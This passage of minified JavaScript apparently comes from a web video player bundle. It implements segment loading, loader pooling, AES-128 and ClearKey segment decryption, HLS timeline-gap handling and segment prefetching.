0!==t?t:-1,i=c.currentSegmentInfoMap[c.loadingUrl];c.currentRequestProgress=f(f({},n),{segmentDuration:c.segmentDuration,url:c.loadingUrl,representationBitrate:i.bitrate});c.isInit||u<=.5||c.state!==r.LOADING||c.onDownloadShouldBeCancelledCallback(c.currentRequestProgress,i.internalRepresentationId)&&c.cancelLoading(r.TIMEOUT)},this.onSuccess=function(n,t){var i,r,u,f,s=c.context.store.getState(),h=s?ot.getMetricsState(s):void 0,b;if(!c.isInit&&h&&c.mimeType in h&&(c.context.store.dispatch(e.addMetricsValue(c.mimeType,o.MetricType.DownloadTime,t)),c.context.store.dispatch(e.addMetricsValue(c.mimeType,o.MetricType.DownloadSuccess,!0)),et.isDownloadTimeInformationValid(n)&&(c.loadingUrl&&c.context.logger.debug("Downloaded ".concat(c.mimeType," segment in: ").concat(null===(i=n.elapsedTime)||void 0===i?void 0:i.toFixed(2),", TTFB: ").concat(null===(r=n.timeToFirstByte)||void 0===r?void 0:r.toFixed(2),", quality: ").concat((null===(u=c.currentSegmentInfoMap[n.url])||void 0===u?void 0:u.bitrate)||c.currentSegmentInfoMap[c.loadingUrl].representationId)),c.context.store.dispatch(e.addMetricsValue(c.mimeType,o.MetricType.DownloadInformation,{bytes:n.length,time:n.elapsedTime,timeToFirstByte:n.timeToFirstByte}))),null===(f=c.currentRequestProgress)||void 0===f?void 0:f.chunks)){c.logger.debug("[SegmentLoader] ",c.currentRequestProgress.chunks);var k=l.calculateDownloadRates(c.currentRequestProgress.chunks),v=l.calcAverage(l.filterValuesExceedingAverageByMargin(k)),g=c.currentRequestProgress.loadedBytes,y=c.currentSegmentInfoMap[c.loadingUrl],p=y.duration,w=void 0!==p?d.bytesToBits(g)/p:void 0,nt=y.bitrate;c.logger.debug("[SegmentLoader] DL rate (AVG-based filter): ".concat(l.bpsToMbps(v),", segmentBitrate: ").concat(w));c.context.store.dispatch(e.addMetricsValue(c.mimeType,o.MetricType.ChunkedDownloadInformation,{downloadRate:v,segmentBitrate:w,representationBitrate:nt}))}clearTimeout(c.loadTimeoutID);clearInterval(c.progressCheckIntervalId);c.loadTimeoutID=void 0;b={success:!0,httpStatus:n.status,url:n.url,downloadTime:n.elapsedTime,size:n.length,duration:c.segmentDuration,isInit:c.isInit,mimeType:c.mimeType,uid:c.loadingUid};c.eventHandler.dispatchEvent(a.PlayerEvent.SegmentRequestFinished,b)},this.logger=n.logger,this.eventHandler=n.eventHandler,this.customLoaderArgs=n.config.tweaks.segmentLoaderArgs||null,this.customLoader=n.config.tweaks.segmentLoader||null,this.segmentDuration=1,this.state=r.IDLE,this.mimeType=t,this.keyStore=new lt.KeyStore,this.keyLoader=new ct.KeyLoader(this.context),this.onDownloadShouldBeCancelledCallback=i,this.currentLoadPromise=null,this.currentSegmentInfoMap={},this.canceledSegmentRequestFinishedEvent=null,this.isPrefetchingLoader=u,h.ModuleManager.has(s.ModuleName.ContainerMP4))&&(v=h.ModuleManager.get(s.ModuleName.ContainerMP4),this.cmafChunkParser=new v.CmafChunkParser(this.context));this.setupContentLoader()}return n.prototype.dispatchCancelledChunkedDownloadMetrics=function(n){var t,i,r,u,f,s,h,c,l=(null!==(r=null===(i=null===(t=this.currentRequestProgress)||void 0===t?void 0:t.responseTiming)||void 0===i?void 0:i.progressTimestamp)&&void 0!==r?r:p.TimingUtil.getHiResTimestamp())-(null!==(s=null===(f=null===(u=this.currentRequestProgress)||void 0===u?void 0:u.responseTiming)||void 0===f?void 0:f.headersReceivedTimestamp)&&void 0!==s?s:0),a=d.bytesToBits(null!==(c=null===(h=this.currentRequestProgress)||void 0===h?void 0:h.loadedBytes)&&void 0!==c?c:0)/l,v=void 0===n.duration?1:Math.max(1-l/n.duration,.1);this.context.store.dispatch(e.addMetricsValue(this.mimeType,o.MetricType.ChunkedDownloadInformation,{downloadRate:a*v,segmentBitrate:void 0,representationBitrate:n.bitrate}))},n.prototype.isLoading=function(){var n=Boolean(this.keyLoader&&this.keyLoader.isLoading());return this.state===r.LOADING||this.state===r.CANCELLING||this.loader&&this.loader.isLoading()||n},n.prototype.isRetrying=function(){return this.loader&&this.loader.isRetrying()},n.prototype.load=function(n){var t=this;return this.isLoading()?(this.logger.debug("Error loading segment, loader is busy!"+this.loadingUrl),Promise.reject({reason:u.BUSY})):(this.loader&&this.loader.dispose(),this.canceledSegmentRequestFinishedEvent=null,this.currentRequestProgress=void 0,this.loader=g.getLoader(this.context,this.defaultLoaderArgs),this.state=r.LOADING,this.loadingUrl=n.url,this.loadingUid=btoa(this.loadingUrl),this.currentSegmentInfoMap[this.loadingUrl]=n,this.encryptionInfo=n.key,this.isInit=n.isInitSegment,this.segmentDuration=n.duration,this.currentLoadPromise=this.maybeLoadEncryptionKey(n).then(function(){return t.loadSegment(n)}).catch(function(n){throw t.state=r.IDLE,t.currentLoadPromise=null,n;}),this.currentLoadPromise)},n.prototype.maybeLoadEncryptionKey=function(n){var t=this;if(!this.encryptionInfo||this.encryptionInfo.buffer)return Promise.resolve();switch(this.encryptionInfo.method){case c.HlsEncryptionMethod.AES_128:return this.getKey(n).then(function(n){t.encryptionInfo.buffer=n});case c.HlsEncryptionMethod.SAMPLE_AES:return this.eventHandler.fireError(new ut.PlayerError(rt.ErrorCode.SOURCE_ENCRYPTION_METHOD_NOT_SUPPORTED,{"encryption-method":this.encryptionInfo.method,supported:c.HlsEncryptionMethod.AES_128},"The ".concat(c.HlsEncryptionMethod.SAMPLE_AES," encryption method is not supported."))),Promise.reject({reason:u.ERROR_DECRYPTING});default:return Promise.reject({reason:u.ERROR_DECRYPTING})}},n.prototype.getCurrentLoadPromise=function(){return this.currentLoadPromise},n.prototype.getKey=function(n){var r=this,t=n.key.uri,i=this.keyStore.get(t);return i?Promise.resolve(i):this.keyLoader.load(t).then(function(n){return r.keyStore.put(t,n),n}).catch(function(){throw{reason:u.ERROR_DECRYPTING};})},n.prototype.getPreFetchedSegment=function(n,t){return this.isPrefetchingLoader||!this.context.adRestorationOptimizationService.hasPrefetchedSegment(t)?null:(this.currentSegmentInfoMap[n]&&(this.currentSegmentInfoMap[n].wasPrefetched=!0),this.context.adRestorationOptimizationService.getPrefetchedSegment(t,this.onDownloadShouldBeCancelledCallback))},n.prototype.setupLoadingProgressCheckInterval=function(){clearInterval(this.progressCheckIntervalId);var n=k.toMilliSeconds(this.context.settings.SEGMENT_LOADING_PROGRESS_CHECK_INTERVAL);n<=0||(this.progressCheckIntervalId=window.setInterval(this.checkLoadingProgress,n))},n.prototype.loadSegment=function(n){var t=this,u={},f,i;if(n.byteRange&&(u.Range=["bytes=",n.byteRange.start,"-",n.byteRange.end].join("")),f=this.context.sourceContext.source&&this.context.sourceContext.source.hasOwnProperty("options")&&Boolean(this.context.sourceContext.source.options.withCredentials),clearTimeout(this.loadTimeoutID),clearInterval(this.progressCheckIntervalId),this.loadTimeoutID=void 0,this.isInit||n.preventDownloadCanceling||(this.loadTimeoutID=setTimeout(function(){return t.cancelLoading(r.TIMEOUT)},k.toMilliSeconds(this.context.settings.XHR_TIMEOUT-1))),i=this.getPreFetchedSegment(this.loadingUrl,n),i)return this.context.logger.debug("return prefetched segment for",this.loadingUrl),i.then(function(n){var i=new nt.Stream;return t.loadingFinished(),i.add(n),n.getSegmentInfo().wasPrefetched=!0,i.end(),i}).catch(function(n){throw n;});var e=b.MimeTypeHelper.isAV(n.mimeType)&&b.MimeTypeHelper.isMP4(n.mimeType)&&!n.isTransmuxingRequired&&!n.isInitSegment,o=Boolean(this.encryptionInfo)||Boolean(this.decrypter),s=this.context.settings.CHUNKED_CMAF_STREAMING&&this.cmafChunkParser&&e&&!o;return this.setupLoadingProgressCheckInterval(),this.loader.load(this.loadingUrl,w.HttpRequestMethod.GET,w.HttpResponseType.ARRAYBUFFER,null,u,f,this.mimeType,s).then(function(n){return t.handleResponse(n.body)}).catch(function(n){throw t.createLoadingError(n);})},n.prototype.createLoadingError=function(n){var t,i;return this.state===r.CANCELLING||this.state===r.TIMEOUT?(this.logger.debug("Cancelled ".concat(this.mimeType," download [").concat(this.loadingUrl,"]")),this.canceledSegmentRequestFinishedEvent&&(null===(t=this.eventHandler)||void 0===t||t.dispatchEvent(a.PlayerEvent.SegmentRequestFinished,this.canceledSegmentRequestFinishedEvent)),i={reason:it(this.state)}):this.state===r.LOADING&&(i={reason:u.ERROR_LOADING,info:{response:n,isInit:this.isInit}}),i},n.prototype.getAllLoadingPeriodIds=function(){var n=this;return Object.keys(this.currentSegmentInfoMap).map(function(t){var i;if(null!==(i=n.currentSegmentInfoMap[t])&&void 0!==i)return i.periodId}).filter(st.isDefined)},n.prototype.getCurrentLoadingSegmentInfo=function(){return this.isLoading()&&this.loadingUrl&&this.currentSegmentInfoMap[this.loadingUrl]?this.currentSegmentInfoMap[this.loadingUrl]:null},n.prototype.attachDecrypter=function(n){this.decrypter=this.decrypter||n},n.prototype.attachClearKeyLoader=function(n){this.clearKeyLoader=this.clearKeyLoader||n},n.prototype.terminate=function(){var n,t=this;this.isLoading()?(null===(n=this.currentLoadPromise)||void 0===n||n.catch(function(){t.state=r.TERMINATED}),this.cancelLoading()):this.state=r.TERMINATED},n.prototype.createSegment=function(n){var r,u,t,i;return u=this.isInit?y.SegmentInitType.INIT:y.SegmentInitType.NONE,t=this.currentSegmentInfoMap[this.loadingUrl],i=new y.Segment(n,this.mimeType,null!==(r=t.codecs)&&void 0!==r?r:null,t.periodId,this.segmentDuration,u,!0,n.byteLength,t.internalRepresentationId,t.startTime),i.setUrl(this.loadingUrl),i.setSegmentInfo(t),i},n.prototype.maybeDecryptResponseData=function(n,t){return this.encryptionInfo&&this.encryptionInfo.method===c.HlsEncryptionMethod.AES_128&&!t?this.decryptAes128(n):this.decrypter?this.decryptClearKey(n):Promise.resolve(n)},n.prototype.decryptAes128=function(n){return h.ModuleManager.has(s.ModuleName.Crypto)?(this.logger.debug("Decrypting AES-128-encryped segment "+this.loadingUrl+", KEY: 0x"+v.FormatHelper.bytesToHex(this.encryptionInfo.buffer)+", IV: 0x"+v.FormatHelper.bytesToHex(this.encryptionInfo.iv)),new(h.ModuleManager.get(s.ModuleName.Crypto).CryptoApi)(this.context,"AES-CBC",this.encryptionInfo.buffer,this.encryptionInfo.iv,this.mimeType).decrypt(n).then(function(n){if(!n||0===n.byteLength)throw{reason:u.ERROR_DECRYPTING};return n}).catch(function(){throw{reason:u.ERROR_DECRYPTING};})):(this.context.eventHandler.fireError(new ht.PlayerModuleMissingError(s.ModuleName.Crypto)),Promise.reject({reason:u.ERROR_DECRYPTING}))},n.prototype.decryptClearKey=function(n){var i=this,t=Promise.resolve(n),r;return this.isInit?(t=this.decrypter.parseInitSegment(n),this.clearKeyLoader&&(t=t.then(function(n){return i.clearKeyLoader.load(i.decrypter.getKeyIds()).then(function(t){return i.decrypter.addKeys(t),Promise.resolve(n)})}))):this.decrypter.isEncrypted()&&(r=v.FormatHelper.bytesToHex(this.decrypter.getKey()),this.logger.debug("Decrypting SAMPLE-AES-encrypted segment ".concat(this.loadingUrl,", KEY: 0x").concat(r)),t=this.decrypter.decryptDataSegment(n)),t.catch(function(){throw{reason:u.ERROR_DECRYPTING};})},n.prototype.handleResponse=function(n,t){var i=this;return void 0===t&&(t=!1),n instanceof ArrayBuffer?(this.segmentStream=new nt.Stream,this.maybeDecryptResponseData(n,t).then(function(n){i.state===r.TERMINATED||i.state===r.CANCELLING?i.segmentStream.abort(u.CANCEL):(i.segmentStream.add(i.createSegment(n)),i.segmentStream.end())}).catch(function(){return i.segmentStream.abort(u.ERROR_DECRYPTING)}).finally(function(){return i.loadingFinished()})):this.segmentStream=n.transform(function(n){return i.cmafChunkParser.appendData(n),i.cmafChunkParser.getCompleteChunks()},function(){},function(n){return n.message}).transform(function(n){return i.createSegment(n)},function(){return i.loadingFinished()},function(n){i.logger.debug("Error handling fetch segment request",n);var t=u.ERROR_LOADING;return n.message===ft.RequestError.Canceled&&(t=it(i.state)),i.loadingFinished(),t}),Promise.resolve(this.segmentStream)},n.prototype.loadingFinished=function(){this.state=r.IDLE;this.currentLoadPromise=null;this.cmafChunkParser&&this.cmafChunkParser.reset();this.currentSegmentInfoMap&&delete this.currentSegmentInfoMap[this.loadingUrl]},n.prototype.dispose=function(){this.terminate();clearTimeout(this.loadTimeoutID);clearInterval(this.progressCheckIntervalId);this.loader&&this.loader.dispose&&this.loader.dispose();this.keyLoader&&this.keyLoader.dispose();this.keyStore&&this.keyStore.dispose();h.ModuleManager.has(s.ModuleName.Crypto)&&h.ModuleManager.get(s.ModuleName.Crypto).WebWorkerCrypto.dispose();this.loader=null;this.customLoader=null;this.customLoaderArgs=null;this.keyLoader=null;this.loadingUrl=null;this.loadingUid=null;this.encryptionInfo=null;this.currentSegmentInfoMap={};this.currentRequestProgress=void 0;this.decrypter=null;this.keyStore=null;this.eventHandler=null},n.prototype.setupContentLoader=function(){var n=this;this.defaultLoaderArgs=f(f({},g.getLoaderConfig(this.context,this.mimeType)),{onSuccess:this.onSuccess,onProgress:this.onProgress,onFailure:function(t){var i;n.context.store.dispatch(e.addMetricsValue(n.mimeType,o.MetricType.DownloadSuccess,!1));clearTimeout(n.loadTimeoutID);clearInterval(n.progressCheckIntervalId);n.loadTimeoutID=void 0;delete n.currentSegmentInfoMap[n.loadingUrl];n.eventHandler.dispatchEvent(a.PlayerEvent.SegmentRequestFinished,{success:!1,httpStatus:t&&t.status||0,url:null!==(i=null==t?void 0:t.url)&&void 0!==i?i:n.loadingUrl,downloadTime:-1,size:-1,duration:n.segmentDuration,isInit:n.isInit,mimeType:n.mimeType,uid:void 0})}})},n}();t.SegmentLoader=tt},46678:function(n,t,i){function s(n,t){var i=y.MimeTypeHelper.extractContentType(n);return t&&p.isNumber(t[i])?Math.max(1,t[i]):1}function h(n){return Boolean(null==n?void 0:n.LA_URL)}function c(n){return(null==n?void 0:n.length)>0}Object.defineProperty(t,"__esModule",{value:!0});t.getLoaderPoolSize=t.SegmentLoaderPool=void 0;var l=i(76650),a=i(28819),u=i(8272),v=i(27177),y=i(79814),p=i(70016),f=i(91520),e=i(16368),o=i(59839),r=i(22645),w=i(28915),b=i(66864),k=function(){function n(n,t){this.context=n;this.mimeType=t.mimeType;this.loaders=[];this.shouldDownloadBeCancelledCallback=t.shouldDownloadBeCancelledCallback;this.createLoaders(s(this.mimeType,n.settings.SEGMENT_LOADER_POOL_SIZE));this.attachDecrypter()}return n.prototype.createLoaders=function(n){for(var t=0;t<n;t++)this.loaders.push(new b.SegmentLoader(this.context,this.mimeType,this.shouldDownloadBeCancelledCallback))},n.prototype.getDecrypter=function(n){if(this.context.segmentPrefetchingService&&this.context.segmentPrefetchingService.hasMp4Decrypter(this.mimeType))return this.context.segmentPrefetchingService.getDecrypter(this.mimeType);var t=f.ModuleManager.get(e.ModuleName.Crypto).createDecrypter,i=c(n.drm.clearkey)?n.drm.clearkey:[];return t(this.context,this.mimeType,i)},n.prototype.getClearKeyLoader=function(n){return new(f.ModuleManager.get(e.ModuleName.Crypto).ClearKeyLoader)(this.context,n)},n.prototype.attachDecrypter=function(){var n=this.context.sourceContext.source,t=function(n){var t,i;return c(null===(t=null==n?void 0:n.drm)||void 0===t?void 0:t.clearkey)||h(null===(i=null==n?void 0:n.drm)||void 0===i?void 0:i.clearkey)}(n)?this.getDecrypter(n):null,i;t&&(this.loaders.forEach(function(n){return n.attachDecrypter(t)}),this.context.segmentPrefetchingService&&this.context.segmentPrefetchingService.setDecrypter(t,this.mimeType),h(n.drm.clearkey))&&(i=this.getClearKeyLoader(n.drm.clearkey),this.loaders.forEach(function(n){return n.attachClearKeyLoader(i)}))},n.prototype.isLoading=function(){return this.loaders.some(function(n){return n.isLoading()})},n.prototype.isFreeLoaderAvailable=function(){return this.loaders.some(function(n){return!n.isLoading()})},n.prototype.updateRequestedRepresentationMetric=function(n){var t=a.getMetricsHistoryFromInstanceState(this.context.store.getState(),"default",u.MetricType.RequestedRepresentations);(t?t.map(function(n){return n.value}):[]).includes(n)||this.context.store.dispatch(l.addMetricsValue("default",u.MetricType.RequestedRepresentations,n))},n.prototype.load=function(n){var u=this,i=this.loaders.find(function(n){return!n.isLoading()}),t;return i?(this.updateRequestedRepresentationMetric(n.internalRepresentationId),this.context.logger.debug("[SegmentLoader ".concat(this.loaders.indexOf(i),"][").concat(n.mimeType,"][").concat(n.representationId,"] Loading ").concat(n.startTime," ").concat(n.url)),t=w.getSegmentInfoTimeRange(n),t&&this.context.store.dispatch(o.addStreamTimeRange(r.getTrackIdentifier(n),t,r.StreamTimeRangeType.Loading)),i.load(n).catch(function(i){throw t&&u.context.store.dispatch(o.removeStreamTimeRange(r.getTrackIdentifier(n),t,r.StreamTimeRangeType.Loading)),i;})):(this.context.logger.debug("Failed to load segment. No free loader!",n.url),Promise.reject(null))},n.prototype.cancelLoading=function(){var n=this;return Promise.all(this.loaders.map(function(n){return n.isLoading()&&n.cancelLoading(),Promise.resolve(n.getCurrentLoadPromise())})).then(function(){}).catch(function(t){v.isContextAvailable(n.context)&&n.context.logger.debug("Error while loading a segment ",t)})},n.prototype.getLoadingPeriodIds=function(){return this.loaders.flatMap(function(n){return n.getAllLoadingPeriodIds()})},n.prototype.dispose=function(){this.cancelLoading();this.loaders.forEach(function(n){return n.dispose()});this.loaders=null},n}();t.SegmentLoaderPool=k;t.getLoaderPoolSize=s},60704:function(n,t,i){function u(n,t){return!t.isAvMuxedTogether||e.MimeTypeHelper.isVideo(n.getMimeType())}function a(n){return e.MimeTypeHelper.isSubtitle(n.getMimeType())}function g(n,t){var i=n.getSegmentInfo(),u=l.getSegmentInfoTimeRange(i),f=n.getPlaybackTimeRange();u&&f&&(t.dispatch(o.removeStreamTimeRange(r.getTrackIdentifier(i),u,r.StreamTimeRangeType.Loading)),t.dispatch(o.addStreamTimeRange(r.getTrackIdentifier(i),f,r.StreamTimeRangeType.Loading)))}function nt(n,t){var i=n.getSegmentInfo(),u=l.getSegmentInfoTimeRange(i);u&&t.serviceManager.maybeCall(f.ServiceName.SourceStoreService,function(n){n.dispatch(o.removeStreamTimeRange(r.getTrackIdentifier(i),u,r.StreamTimeRangeType.Loading))},void 0,t.sourceContext.sourceIdentifier)}Object.defineProperty(t,"__esModule",{value:!0});t.SegmentPreProcessor=void 0;var f=i(18665),s=i(62510),v=i(76650),y=i(8272),e=i(79814),h=i(34586),c=i(43752),o=i(59839),r=i(22645),p=i(74830),w=i(41661),b=i(9378),l=i(28915),k=i(67550),d=function(){function n(n,t,i,r,u,e,o){this.context=n;this.mimeType=t;this.onDataAvailableCallback=i;this.hls=r;this.segmentUnavailabilityHandler=u;this.timestampOffsetService=e;this.segmentParser=o;this.isKeyframeRecoveryOngoing=!1;this.downloadRepresentationId=null;var s=n.sourceContext.sourceIdentifier;this.manifestService=this.context.serviceManager.get(f.ServiceName.ManifestService,s)}return Object.defineProperty(n.prototype,"logger",{get:function(){return this.context.logger},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"eventHandler",{get:function(){return this.context.eventHandler},enumerable:!1,configurable:!0}),n.prototype.setHlsTimelineTracker=function(n){this.hlsTimelineTracker=n},n.prototype.setMpdHandler=function(n){this.mpdHandler=n},n.prototype.onMuxedSegmentAvailable=function(n,t,i,r){var e=this,f=t.find(function(n){return u(n,e.hls)});if(f){var s=!f.getRepresentationId().equals(this.downloadRepresentationId),o=this.maybeHandleTimelineGap(f,i,s),h=o.shouldMakeSegmentAvailable,c=o.shouldCacheSegment;h?t.forEach(function(t){var u=n.metadata[n.transmuxedSegments.indexOf(t)];e.onSegmentAvailable(t,u,i,r)||r.cacheSegment(n.originalSegment)}):(c&&r.cacheSegment(n.originalSegment),nt(n.originalSegment,this.context))}},n.prototype.onSegmentAvailable=function(n,t,i,r){var s,f,e,o;return this.logger.debug("onSegmentAvailable ".concat(n.getMimeType()).concat(n.isInit()?" init":""," segment [").concat(n.getUrl(),"]")),this.segmentUnavailabilityHandler.downloadSuccess(n.isInit()),o=!n.getRepresentationId().equals(this.downloadRepresentationId),u(n,this.hls)&&o&&this.updateDownloadedRepresentation(n,this.downloadRepresentationId),null===(f=(s=this.mpdHandler).generateSmoothInitSegment)||void 0===f||f.call(s,n,this.segmentParser),this.hls.isTransmuxingRequired||h.TextSegmentAnalyzer.isPlainTextPayload(n.getData())||null===(e=this.segmentParser)||void 0===e||e.parseSegment(n),!!n.isInit()||this.onDataSegmentAvailable(n,t,i,r,o)},n.prototype.onDataSegmentAvailable=function(n,t,i,r,e){var o,s,w=this,c=this.hls.isTransmuxingRequired,l=!0,y;if(this.manifestService.isHlsManifest()){if(!c&&!h.TextSegmentAnalyzer.isPlainTextPayload(n.getData())){(isNaN(this.mpdHandler.getTimestampOffset())||0===this.mpdHandler.getTimestampOffset())&&p.initializeHlsSegmentStartTimes(n,this.context,this.mpdHandler);this.timestampOffsetService.maybeAdjustTimestampOffsetAtDiscontinuityChange(n,this.mpdHandler)&&(null===(o=this.segmentParser)||void 0===o||o.parseSegment(n));var v=this.maybeHandleTimelineGap(n,i,e),b=v.shouldMakeSegmentAvailable,k=v.shouldCacheSegment;if(!b)return k&&r.cacheSegment(n),!1}a(n)&&this.timestampOffsetService.maybeAdjustTimestampOffsetAtDiscontinuityChange(n,this.mpdHandler);this.manifestService.initSegmentStartTimesFromReferenceSegment(n)}return c&&this.hls.possiblyDependentSegments&&e&&u(n,this.hls)&&!this.isKeyframeRecoveryOngoing&&(this.logger.debug("Just switched playlists, isIndependentlyDecodable=".concat(n.isIndependentlyDecodable(),", (").concat(n.getMimeType(),", ").concat(n.getUrl(),")")),y=this.mpdHandler.getIndex()>1,!n.isIndependentlyDecodable()&&y&&(this.logger.debug("Started keyframe recovery"),this.mpdHandler.setIndex(this.mpdHandler.getIndex()-2),l=!1,this.hls.discardNextSegment=!0,this.isKeyframeRecoveryOngoing=!0)),!!l&&(g(n,this.context.store),this.context.serviceManager.get(f.ServiceName.TimedMetadataService).onSegmentAvailable({segment:n,extractedMetadata:t,isSegmentOfMainStream:u(n,this.hls),presentationTimeOffset:this.mpdHandler.getTimestampOffset()}),this.context.serviceManager.maybeCall(f.ServiceName.SubtitleService,function(i){i.handleClosedCaptions(w.mpdHandler,n,null==t?void 0:t.closedCaptions,c,n.getCodec())}),this.logger.debug("[".concat("SegmentPreProcessor","][").concat(this.mimeType,"]: playbackTimeForSegment=").concat(n.getPlaybackTime()," ").concat(n.getUrl())),u(n,this.hls)&&(null===(s=this.hlsTimelineTracker)||void 0===s||s.trackPlaybackTime(n),this.isKeyframeRecoveryOngoing=!1),this.onDataAvailableCallback(n),l)},n.prototype.updateDownloadedRepresentation=function(n,t){this.triggerOnDownloadQualityChanged(n.getMimeType(),t,n.getRepresentationId());var i=n.getSegmentInfo(),r={id:i.representationId,bitrate:i.bitrate,width:i.width,height:i.height};this.context.store.dispatch(v.addMetricsValue(this.mimeType,y.MetricType.DownloadedRepresentation,r));this.downloadRepresentationId=n.getRepresentationId()},n.prototype.triggerOnDownloadQualityChanged=function(n,t,i){var u,r,f;if(e.MimeTypeHelper.isVideo(n))u=s.PlayerEvent.VideoDownloadQualityChanged;else{if(!e.MimeTypeHelper.isAudio(n))return;u=s.PlayerEvent.AudioDownloadQualityChanged}r=c.representationToQuality(this.manifestService.getRepresentationById(t),n);f=c.representationToQuality(this.manifestService.getRepresentationById(i),n);this.eventHandler.dispatchEvent(u,{targetQuality:f,targetQualityId:f.id,sourceQuality:r,sourceQualityId:r?r.id:null})},n.prototype.hasHlsTimelineGap=function(n,t){var i={hasGap:!1},r,e,f;if(n&&this.manifestService.isHlsManifest()&&!a(n)&&u(n,this.hls)&&this.hlsTimelineTracker&&(r=b.SegmentInfoProvider.findHlsRepresentationForSegment(n,this.manifestService.getAdaptationSet(t)),r&&(i=this.hlsTimelineTracker.checkForTimelineGap(n,r.representation,r.index)).hasGap&&void 0!==i.correctedIndex)){if(this.logger.debug("Encountered timeline gap (".concat(i.gapSizeSec,"), just loaded ").concat(n.getUrl())),e=r.representation._internalId,f=this.mpdHandler instanceof k.SegmentListMPDHandler&&this.mpdHandler.getSegmentListEntries(e)&&this.mpdHandler.getSegmentListEntries(e)[i.correctedIndex],f&&w.areSegmentsIdentical(n.getSegmentInfo(),f))return this.logger.debug("Gap handling: Segment is identical to the one we just loaded, not rewinding"),i.hasGap=!1,i;f&&f.hasDownloadFailed?(this.logger.debug("Gap handling: Could not handle gap, segment has failed to download"),i.couldHandle=!1):(this.logger.debug("Gap handling: Correcting index from ".concat(this.mpdHandler.getIndex()," to ").concat(i.correctedIndex)),this.mpdHandler.setIndex(i.correctedIndex))}return i},n.prototype.maybeHandleTimelineGap=function(n,t,i){if(!this.hlsTimelineTracker.isSeekTargetVerificationNeeded()&&!i)return{shouldMakeSegmentAvailable:!0,shouldCacheSegment:!1};var r=this.hasHlsTimelineGap(n,t);return r.hasGap?r.couldHandle?function(n){var t;return(null!==(t=n.gapSizeSec)&&void 0!==t?t:0)>0}(r)?{shouldMakeSegmentAvailable:!1,shouldCacheSegment:!0}:{shouldMakeSegmentAvailable:!1,shouldCacheSegment:!1}:(this.hlsTimelineTracker.reset(),{shouldMakeSegmentAvailable:!0,shouldCacheSegment:!1}):{shouldMakeSegmentAvailable:!0,shouldCacheSegment:!1}},n.prototype.dispose=function(){this.downloadRepresentationId=null;this.hlsTimelineTracker=null;this.manifestService=null;this.onDataAvailableCallback=null;this.hls=null;this.segmentUnavailabilityHandler=null;this.timestampOffsetService=null;this.segmentParser=null;this.mpdHandler=null},n}();t.SegmentPreProcessor=d},28499:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SegmentPrefetcher=void 0;var r=i(27177),u=i(38255),f=i(66864),e=function(){function n(n){var t=this;this.processSegmentInfoQueue=function(n){var i=t.segmentInfoQueue.get(n);i&&0!==i.length&&t.chainSegmentPrefetch(i.shift()).then(function(){return t.processSegmentInfoQueue(n)})};this.segmentInfoQueue=new u.ArrayMap;this.prefetchPromiseChainMap=new Map;this.decrypterMap=new Map;this.segmentLoaderMap=new Map;this.segmentPrefetchHandler=n;this.shouldDownloadBeCancelledCallbackMap=new Map}return n.prototype.updateContext=function(n){this.context=n},n.prototype.setShouldDownloadBeCancelledCallback=function(n,t){this.shouldDownloadBeCancelledCallbackMap.set(n,t)},n.prototype.removeShouldDownloadBeCancelledCallback=function(n){this.shouldDownloadBeCancelledCallbackMap.delete(n)},n.prototype.setDecrypter=function(n,t){this.decrypterMap.set(t,n);this.segmentLoaderMap.has(t)&&this.segmentLoaderMap.get(t).attachDecrypter(n)},n.prototype.removeDecrypter=function(n){this.decrypterMap.delete(n)},n.prototype.getDecrypter=function(n){return this.decrypterMap.get(n)},n.prototype.prefetchSegment=function(n){return this.chainSegmentPrefetch(n)},n.prototype.prefetchSegments=function(n){var t=this;n.forEach(function(n){return t.segmentInfoQueue.add(n.mimeType,n)});this.segmentInfoQueue.keys.forEach(function(n){return t.processSegmentInfoQueue(n)})},n.prototype.chainSegmentPrefetch=function(n){var i=this,t=this.getPrefetchPromiseChain(n.mimeType).then(function(){return i.fetchSegment(n)}).then(function(){}).catch(function(){});return this.prefetchPromiseChainMap.set(n.mimeType,t),t},n.prototype.fetchSegment=function(n){var i=this,t;return r.isContextAvailable(this.context)?(t=this.getLoader(n).load(n).then(function(n){return n.read()}).then(function(n){return n.value}),this.segmentPrefetchHandler.onPrefetch({segmentInfo:n,loadingPromise:t}),t.catch(function(t){r.isContextAvailable(i.context)&&i.context.logger.debug("segment prefetching failed for",n,"with",t)}),t):Promise.reject("PlayerContext not available")},n.prototype.getPrefetchPromiseChain=function(n){return this.prefetchPromiseChainMap.has(n)||this.prefetchPromiseChainMap.set(n,Promise.resolve()),this.prefetchPromiseChainMap.get(n)},n.prototype.getLoader=function(n){return this.segmentLoaderMap.has(n.mimeType)||this.segmentLoaderMap.set(n.mimeType,this.createLoader(n)),this.segmentLoaderMap.get(n.mimeType)},n.prototype.createLoader=function(n){this.prefetchPromiseChainMap.set(n.mimeType,Promise.resolve());var t=new f.SegmentLoader(this.context,n.mimeType,this.createDownloadCancelCallbackFunction(n),!0);return t.attachDecrypter(this.decrypterMap.get(n.mimeType)),t},n.prototype.createDownloadCancelCallbackFunction=function(n){var t=this;return function(i){var r=n.mimeType,u=t.segmentLoaderMap.get(r),f=u?u.getCurrentLoadingSegmentInfo():null,e=void 0!==r?t.shouldDownloadBeCancelledCallbackMap.get(r):void 0,o=f?f.internalRepresentationId:n.internalRepresentationId;return void 0!==e&&e(i,o)}},n.prototype.clearPrefetchingQueue=function(n){this.segmentInfoQueue.delete(n)},n.prototype.reset=function(){this.segmentLoaderMap.forEach(function(n){return n.dispose()});this.shouldDownloadBeCancelledCallbackMap.clear();this.segmentLoaderMap.clear();this.decrypterMap.clear()},n.prototype.dispose=function(){this.reset();this.segmentLoaderMap=null;this.shouldDownloadBeCancelledCallbackMap=null},n}();t.SegmentPrefetcher=e},92395:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SegmentPrefetchingService=void 0;var r=i(13788),u=i(28499),f=function(){function n(){this.segmentPrefetcher=new u.SegmentPrefetcher(this);this.prefetchedSegments=new Map}return n.prototype.updatePlayerContext=function(n){this.context=n;this.segmentPrefetcher.updateContext(this.context)},n.prototype.setDecrypter=function(n,t){this.segmentPrefetcher.setDecrypter(n,t)},n.prototype.removeDecrypter=function(n){this.segmentPrefetcher.removeDecrypter(n)},n.prototype.getDecrypter=function(n){return this.segmentPrefetcher.getDecrypter(n)},n.prototype.hasMp4Decrypter=function(n){return 